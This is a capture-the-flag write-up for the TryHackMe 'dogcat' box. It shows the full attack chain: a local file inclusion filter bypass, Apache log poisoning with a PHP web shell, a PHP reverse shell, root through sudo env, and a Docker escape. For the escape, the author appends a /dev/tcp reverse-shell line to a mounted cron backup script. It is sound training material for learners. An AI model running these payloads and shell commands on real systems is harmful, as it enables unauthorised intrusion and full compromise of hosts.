This is the medium box on TryHackMe website. It requires the some knowledge about docker. Lets start
For beginning I put the ip in /etc/hosts
for convinient
10.10.125.102 dogcat.thm
Enumeration
Port Scanning
We begin with some nmap to find out which service is running on this host
nmap -p- -v dogcat.thm
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
So there is 2 services is running on this port. I guess there is a SSH server and Web server but I scan them for sure
nmap -A -p 80,22 dogcat.thm
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
So I am correct, there is Web server is running on port 80. Let’s start to enumerate that server
Webserver port 80
At a first glance, we can see this is a web page for showing random picture of dog and cat. I will start with directory bruteforce to see whether any hidden directory
Directory brute force
gobuster dir -u http://dogcat.thm -w /usr/share/wordlists/dirb/common.txt -x php -t 20
...
/.hta (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.hta.php (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/cat.php (Status: 200) [Size: 26]
/cats (Status: 301) [Size: 307] [--> http://dogcat.thm/cats/]
/flag.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 418]
/index.php (Status: 200) [Size: 418]
/server-status (Status: 403) [Size: 275]
The result doesn’t us any more interesting directory. All the directory in the result we can found on the web. But there is a interesting xxxx.php here. I access that page and it show nothing. So we need to move on.
/?view=dog
I click on the the dog option and see access a parameter view=dog
. For this one, i try different inputs like cat
, aaa
, …. According to my observations, it only allow 2 keywords is dog
and cat
. I wonder what is happening behind it so I look at the page source but nothing much we can gather here cause there aren’t and script here.
LFI fuzzing
As the box is about LFI, so use Burp Suite Intruder
to fuzzing some payload for LFI (I use this payload). And we got the result with this payload ?view=%0a%2fbin%2fcat%20%2fetc%2fpasswd
, it return an error:
<b>Warning</b>: include(
/bin/cat /etc/passwd.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: include(): Failed opening '
/bin/cat /etc/passwd.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b>
So base on the error, we know that it the script will take our input and add the extension .php
to the end of it then try to execute that file.
Exploit
LFI
Now we know what happen to our input but how can we leveagre that into actual LFI. So now I try to read the content of the index.php
to see is there any usefull information in here. But we cannot input the path to it because the script we try to execute the index.php
instead dispaly to us the source code.
So I use littel trick to convert it into base 64 so we can read it. The this is using php://filter/convert.base64-encode/resource=index
so it will convert to content of the iindex.php
in base64 but we got this error
It was blocked, I think there is a filtered here. Base on the error and the input before, I think the input must have the word dog
or cat
inside it (some kind of whitelist filter). After few try, I found the payload like this ?view=php://filter/convert.base64-encode/resource=./dog/../index
And voila, we got the content of index.php
in base 64. And here is the decode of it:
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
Base on the code, you can see there is 1 more paramter allow us to change the extention of the file. Now we got fully control LFI, what can we to get RCE. As the result from Nmap, it show this is a apache serve so the common path for LFI to RCE on this case is we can do Apache log positoning
.
RCE
The Idea is that we can try to input some PHP code to log of the server and later we read that log, our code will be execute. But how can we inject the PHP code? We could start with User-Agent
header. But first I will try to check can we access to log of its. After a few try, this payload works
?view=../dog/../../../../../../../../var/log/apache2/access&ext=.log
I change to extention to .log
. At first i try var/log/apache/access
but it’s not work so I change to that. Now we can see the log, we can move on to the next phase. I will use Burp suite
to intercept the request and change the User-Agent
to <?php system($_GET['cmd']);?>
(this code we add another param is cmd
which places php code execute shell command)
After that input our code to the log, we can check this by using parameter cmd
to execute some command. There is a lot of ways to check it, most tutorial show us to run some command like id
or whoami
the find the result inside the log but I don’t like it. So I choose to make request to my local machine like ping
or curl
, …. I try ping but it not works so with this payload
?view=../dog/../../../../../../../../var/log/apache2/access&ext=.log&cmd=curl http://10.17.7.60```
My server recieve some request
root@kali:~/Desktop/tools/winpeas/linux# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.79.188 - - [31/Jul/2021 07:42:48] "GET / HTTP/1.1" 200 -
So our injection works. Let try a reverse shell on this machine. This machine use PHP so I will use PHP for higher chance of success
php -r '$sock=fsockopen("IP",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
And we got the reverse shell and 2 flags
root@kali:/# nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.79.188] 50048
/bin/sh: 0: can't access tty; job control turned off
$ ls
cat.php
cats
dog.php
dogs
flag.php
index.php
style.css
$ cat flag.php
<?php
$flag_1 = "THM{xxxxxxxxxxxxxxxx}"
?>
$ cd ..
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
THM{xxxxxxxxxxxxxxxxxxxx}
Escalating to root
The first I check is sudo right
$ sudo -l
Matching Defaults entries for www-data on e5538bd93235:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on e5538bd93235:
(root) NOPASSWD: /usr/bin/env
So our user has the right to run env
as root. I use this one on GTFObin to escaliting to root
$ sudo env /bin/bash -p
whoami
root
cd /root
ls
flag3.txt
cat flag3.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
So now we are root, but we still in the docker
Escape docker
Most of the box I have played about docker, a lot of them use mount
for monting the root folder on the machine to the image inside the docker container. So i will start by enumeration which is mounting to this machine
mount -l
...
/dev/xvda2 on /opt/backups type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /var/www/html type ext4 (rw,relatime,data=ordered)
...
I snips some part of the result so you can see the real important thing here. Folder /dev/
on the Linux is in charge of holding file for storage. So we can see it is mount to interesting file is /opt/backups
. So let look at this
cd /opt/backups
ls
backup.sh
backup.tar
We can see there is 2 files here. Let look at the content of backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
So this one is use for back up the the root/container/
folder on the real machine to backup.tar
so I get this is a cronjob (cause most of the backup related to cronjob). Rememeber this is the mounting folder so if we change any thing in this file, this file on the real machine also be change to. So I using this to add some script to leverage the cronjob on the real machine when run this script will make a reverse shell to my kali
echo "bash -i >& /dev/tcp/10.17.7.60/6666 0>&1" >> backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
bash -i >& /dev/tcp/10.17.7.60/6666 0>&1
And the we wait for the cronjob on the real machine to run this script
root@kali:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.79.188] 52340
bash: cannot set terminal process group (6321): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{xxxxxxxxxxxxxxxxxxxxx}
And now got the reverse shell. The end.